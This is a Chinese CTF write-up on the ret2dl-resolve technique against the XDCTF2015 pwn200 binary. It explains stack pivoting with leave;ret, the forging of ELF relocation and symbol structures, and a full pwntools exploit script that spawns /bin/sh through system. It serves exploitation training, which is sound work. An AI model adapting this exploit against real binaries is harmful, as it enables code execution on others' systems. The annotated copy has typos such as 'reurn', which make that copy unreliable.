文章主要参考了
我在文章“”中提到了下问中涉及到的内容
这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got
等节知识和动态加载时_dl_runtime_resolve
的加载顺序,这些知识可以在我写的“文件格式”里看到。
用到的题目为XDCTF2015 pwn200,源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void
vuln()
{
char
buf[100];
setbuf
(stdin, buf);
read(0, buf, 256);
}
int
main()
{
char
buf[100] =
"Welcome to XDCTF2015~!\n"
;
setbuf
(stdout, buf);
write(1, buf,
strlen
(buf));
vuln();
return
0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out
|
理由:栈可溢出空间小,不足以写入完整的payload
目标栈:可读写内存段
本质:esp的改变
实现手段:利用两次leave指令
参考:
参考内容,主要看他的图
实现手段详解:leave
命令可以理解为mov esp, ebp; pop ebp
那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp
,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp
,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。
实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,eip
如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp
了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图
那么pop ebp
执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容
似乎还有其他的不是利用leave的栈转移,先不讨论。
栈转移代码实现如下:
利用0x08049105做为第二个leave使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
def
stack_trans(read_start_addr, new_esp):
over_buffer
=
'A'
*
108
# 沾满缓存
overwrite_ebp
=
p32(new_esp)
# 注意,这里覆写的ebp,在经过栈转移后为esp的地址
# 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
call_read
=
read_plt
# read的地址,用于写入shellcode
ret
=
leave_ret_addr
# 将第二个leave做为read的返回地址
arg_1
=
p32(
0
)
# 这三个是read函数的三个参数
arg_2
=
p32(read_start_addr)
# 从这里开始写,没问题,这个地址其实和new_esp是一样的
arg_3
=
p32(
0x100
)
#read的最大独写长度。至少是完整代码中所有payload的长度之和,
# 这里就直接了0x100了,肯定是够了
payload
=
flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill
=
'B'
*
(
0x100
-
len
(payload))
# 填充满这0x100的空间
payload
+
=
flat(fill)
return
payload
# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def
verify_trans(esp, elf):
rop_size
=
24
ebp
=
"DDDD"
write_plt
=
elf.plt[
'write'
]
jmp_write
=
p32(write_plt)
gap
=
"EEEE"
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size)
arg_3
=
p32(
len
(
"/bin/sh\00"
))
bin_str
=
"/bin/sh\00"
payload
=
flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
return
payload
|
从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
"""
typedef struct {
Elf32_Addr r_offset; // 指向需要进行重定位的位置在节中的偏移地址
Elf32_Word r_info; // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;
"""
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
#在第一次执行函数后,r_offset用于保存函数的真实地址,
# 在本程序中用不到,所以随便写
fake_Elf32_Rel
+
=
p32(r_info)
# 注意,r_info这一个字段包含了两个内容
#r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
return
fake_Elf32_Rel
pass
"""
typedef struct {
Elf32_Word st_name; // 符号的名称在字符串表中的偏移地址
Elf32_Addr st_value; // 符号的值,可以是地址、常量或者是相对值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的类型和绑定属性 8位
unsigned char st_other; // 保留 8位
Elf32_Half st_shndx; // 符号所属的节的索引 16位
} Elf32_Sym;
"""
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
# 也就这个st_name重要
fake_Elf32_Sym
+
=
p32(st_value)
# 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
# 位移,也是下标
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
# 其他的值照着IDA里抄就完事了,都是选定的值
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
reurn sym
# 测试伪造是否成功
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
# 上边的fak_rel和fake_sym和IDA里是一摸一样的
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# jmp bbb
fake_rel_address
=
esp
+
rop_size
# 这个地址是最后算的
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# push aaa;这两个在plt表中非常的直观,可以去看看
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
# bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
# 参与构成rop的每个数据都长4个字节,有5个,共20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
# 接下来就是放入fake
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
|
上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt
表。如下图
在main函数中,点击这个_write的调用
会出现
或者是点开红色框后的模样
其中push 20h
这个20h就是reloc,而jmp sub_xxx
是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图
这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。
在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
# esp其实是new_esp
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# 即之前的jmp sub_8049020
fake_rel_address
=
esp
+
rop_size
# rop_size就按照之后的流程,提前计算一下
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# 即类似push 20h
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
# /bin/sh的地址
# 这个地址也是按照后边的流程提前计算的
system_str
=
'system\x00\x00'
# 大于4个字节,小于8个字节,则需要补足8个字节
bin_str
=
'/bin/sh\x00'
# 正好8个字节
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
# 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
# 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
# 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
# 接下来就是放入fake
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
# fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
base_stage
=
fake_sym_addr
-
8
# base_stage = elf_bss + stack_size
return
base_stage
-
elf_bss
stack_size
=
0x834
# 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr
=
0
# .bss,动态获取的
base_stage
=
0
# 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size
=
20
# 提前算好的
leave_ret_addr
=
0x08049105
# leave; ret;
resolve_addr
=
0x08049020
# jmp sub_xxx
REL_header_addr
=
0x08048380
# 注意区分两个两个Rel头部
SYM_header_addr
=
0x0804820C
SYM_size
=
16
# 即一个sym表的大小为16个字节
STR_header_addr
=
0x080482AC
# ELF String Table,这些地址,根据IDA找找就行
read_plt
=
0
# 动态获取的
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
# bss地址
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
# 也是提前计算,用于在calc_stack_size中调整stack_size
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res!
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
# rea新d_plt地址
new_esp
=
base_stage
-
rop_size
# 字面含义
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
# 栈转移结束
# 在getshell函数中的“system”,提前计算地址
system_addr
=
new_esp
+
rop_size
+
8
+
16
r_offset
=
0x804C010
# 根据IDA在rel.plt中随便找了一个,这个字段在函数执行一次后会保存函数的真实地址,但是目前没什么用,所以无所谓
fake_sym_addr
=
new_esp
+
rop_size
+
8
# 就是在这里,如果不进行calc_stack_size的话,可能会出现类型错误
r_info
=
(((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)<<
8
)
+
7
# 位移,也是下标
fake_rel
=
fake_Rel(r_offset, r_info)
st_name
=
system_addr
-
STR_header_addr
#其他的值照着IDA里抄就完事了,都是选定的值
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
fake_sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
payload
=
getshell(fake_rel,fake_sym, new_esp)
p.send(payload)
p.interactive()
# 测试栈转移
# payload = verify_trans(new_esp, elf)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")
# 测试伪造是否成功
# payload = getshell_1(new_esp)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")
|
结果如下:
完整的,不带注释的代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
|
from
pwn
import
*
stack_size
=
0x834
bss_addr
=
0
base_stage
=
0
rop_size
=
20
leave_ret_addr
=
0x08049105
resolve_addr
=
0x08049020
REL_header_addr
=
0x08048380
SYM_header_addr
=
0x0804820C
SYM_size
=
16
STR_header_addr
=
0x080482AC
read_plt
=
0
def
stack_trans(read_start_addr, new_esp):
over_buffer
=
'A'
*
108
overwrite_ebp
=
p32(new_esp)
call_read
=
read_plt
ret
=
leave_ret_addr
arg_1
=
p32(
0
)
arg_2
=
p32(read_start_addr)
arg_3
=
p32(
0x100
)
payload
=
flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill
=
'B'
*
(
0x100
-
len
(payload))
payload
+
=
flat(fill)
return
payload
def
verify_trans(esp, elf):
rop_size
=
24
ebp
=
"DDDD"
write_plt
=
elf.plt[
'write'
]
jmp_write
=
p32(write_plt)
gap
=
"EEEE"
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size)
arg_3
=
p32(
len
(
"/bin/sh\00"
))
bin_str
=
"/bin/sh\00"
payload
=
flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3, bin_str)
return
payload
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
fake_Elf32_Rel
+
=
p32(r_info)
return
fake_Elf32_Rel
pass
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
# 也就这个st_name重要
fake_Elf32_Sym
+
=
p32(st_value)
# 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
return
sym
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1, arg_2, arg_3)
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
system_str
=
'system\x00\x00'
bin_str
=
'/bin/sh\x00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
base_stage
=
fake_sym_addr
-
8
return
base_stage
-
elf_bss
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res !
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
new_esp
=
base_stage
-
rop_size
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
system_addr
=
new_esp
+
rop_size
+
8
+
16
r_offset
=
0x804C010
fake_sym_addr
=
new_esp
+
rop_size
+
8
r_info
=
(((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size) <<
8
)
+
7
fake_rel
=
fake_Rel(r_offset, r_info)
st_name
=
system_addr
-
STR_header_addr
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
fake_sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
payload
=
getshell(fake_rel, fake_sym, new_esp)
p.send(payload)
p.interactive()
|
更多【ret2resolve练习】相关视频教程:www.yxfzedu.com